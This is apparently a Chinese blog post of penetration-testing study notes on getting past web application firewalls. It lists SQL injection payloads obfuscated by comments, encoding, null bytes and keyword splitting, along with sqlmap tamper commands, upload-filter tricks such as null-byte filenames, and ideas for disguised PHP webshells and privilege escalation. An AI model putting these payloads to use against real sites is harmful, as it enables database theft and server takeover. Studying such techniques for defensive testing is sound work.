满天星
Fork me on GitHub

渗透测试学习笔记30-waf绕过详解

WAF
Web Application Firewalf(web安全防火墙)

wtf -waf

针对脚本黑客拦截的

WAF防护原理讲解
目标扫描绕过waf
手工注入绕过waf
sqlmap注入绕过waf
编写sqlmap绕过waf脚本
过WAF一句话编写详解
菜刀连接绕过WAF
Webshell上传绕过WAF
提权绕过waf
and 1=1 正常 1=2 报错 说明有注入漏洞

百度:安全狗
服务器版,网站版

/  .0  -0  .1  绕过安全狗

WAF绕过原理讲解:
了解waf防护原理
查看waf防护位置
熟悉防护规则
了解防护机制
查看拦截时间阈值

waf还能拦截cmd,phpinfo等等的函数,中国菜刀一句话拦截

资源防护->...
cc攻击防护规则
单ip访问上限100次/10秒 冻结5分钟


目录扫描绕过waf
两种方式:
第一:修改客户端ip
第二:减慢扫描速度(主要针对100次/10秒)
第三:通过代理欺骗waf

目标ip

信息收集->OWASP DirBuster->Options
需要一个bypass.txt 让它默认为百度到的爬行蜘蛛


手工注入过waf
搭建测试环境
了解绕过原理
熟悉常见绕过构造语句
构造绕过测试语句

Navicat去连接数据库
测试需要在数据库里面测试,要先保证数据库里面能查出来,然后才能拿去前台测试
reg:mssql
id=5/*^d^*/and/*^c^*/1=1
id=5/*^d^*/and/*^c^*/1=2 报错的话就说明绕过了


之前的注入绕过方法:
1.大小写变种
2.使用SQL注释
3.使用URL编码
4.使用空字节
5.使用嵌套过剥离
6.使用非标准入口点
7.避开自定义过滤器


1.大小写变种
and 1=2
AnD 1=3

2.使用注释:
union select 1,2,3,3,4,5 from admin
注释完
/**/union/**/select/**/1,23,44,5,6 from admin
/**/un/**/io/**/n/**/sel/**/ec/**/t/**/1,23,45,6, from admin
第二种注释:
/*!and*/1=2 (效果显著)

加入特殊符号在注释里,来干扰waf
有些符号加入后数据库能查出数据,但是前台不能正常显示数据


url编码
正常编码
'为%27
/ =%2f   *==%2a  %=%25
/**/==%252f%%252a*/   还原点击Encoding->URL decode


使用空字节
一些过滤器在处理输入时,如果碰到空字节就会停止处理
我们通常也会利用空字节进行绕过过滤器
如:
id=1 %00 and 1=2
%00在数据库里面是查不出数据的,必须经过url转码


利用嵌套剥离
有些过滤器会从用户的输入中进行剥离一些敏感的函数
那我们可以通过函数的嵌套进行绕过一次剥离
selselectect
剥离后
select


使用非标准入口点
说白了就是攻击他的冷门
需要自己去挖掘
一些连过滤器都没发现的注入点即可


避开自定义过滤器
一些过滤器它所过滤的字符串都是事先写入写好的
只要我们输入的语法和他们过滤打的不匹配即可绕过
比如 and
转换为 a+nd
a%nd
'a'nd
%A0and


总结编写绕过语句:
利用注释
/*^ABC^*/
包含关键字
/*!/*!/*!union*/
变换提交方式
将get改为post或者cookie提交

reg:/*!40001and*/1=1


sqlmap tamper利用
symboliclogical.py
space2mssqlhash.py
appendnullbyte.py
利用修改tamper绕过waf

sqlmap.py -u "xx.x.x.x.x?id=2"  --delay=1   控制访问时间次数 ,1秒钟延迟
sqlmap.py -u "xx.x.x.x.x?id=2"  --delay=1 --tamper=symobliclogical.py  加入插件来跑(cracer博客上讲解了每一个插件是干嘛的)

'--dbms'==mysql

如果sqlmap跑出来之后,接下来开始跑下面的:
sqlmap.py -u "xx.x.x.x.x?id=2"  --delay=1 --tamper=symobliclogical.py --current-db (跑数据库名称)
(手工用 order by 19/18) 返回错误/返回正常 跑数据库字段


实战编写过waf一句话
编写过狗一句话思路
利用可变变量
$a=b
$b=c
$$a=c
利用函数
利用判断语句
利用编码


突破waf拦截菜刀连接
可以使用最新版菜刀
中国蚁剑客户端
可以使用过狗菜刀+中转脚本


上传绕过waf
上传突破禁止上传php文件
第一:文件包含
第二:双文件上传突破限制
第三:修改上传参数

代理抓包,send to repeater
connection: close(修改它下面的一句话)
reg1:--WebKit....(后面随便改)
reg2:filename="2p.php%00.png"
reg3:fo+rm-data;
reg4: name-->NAME='upfile'


提权过waf
通过程序读密码
利用waf绕过神器
利用exp读hash
讲用户添加到远程桌面组,并且给目录降权
利用第三方软件提权

干掉waf必须要在驱动层,不是在应用层,来干掉,得用c写
-------------本文结束期待您的评论-------------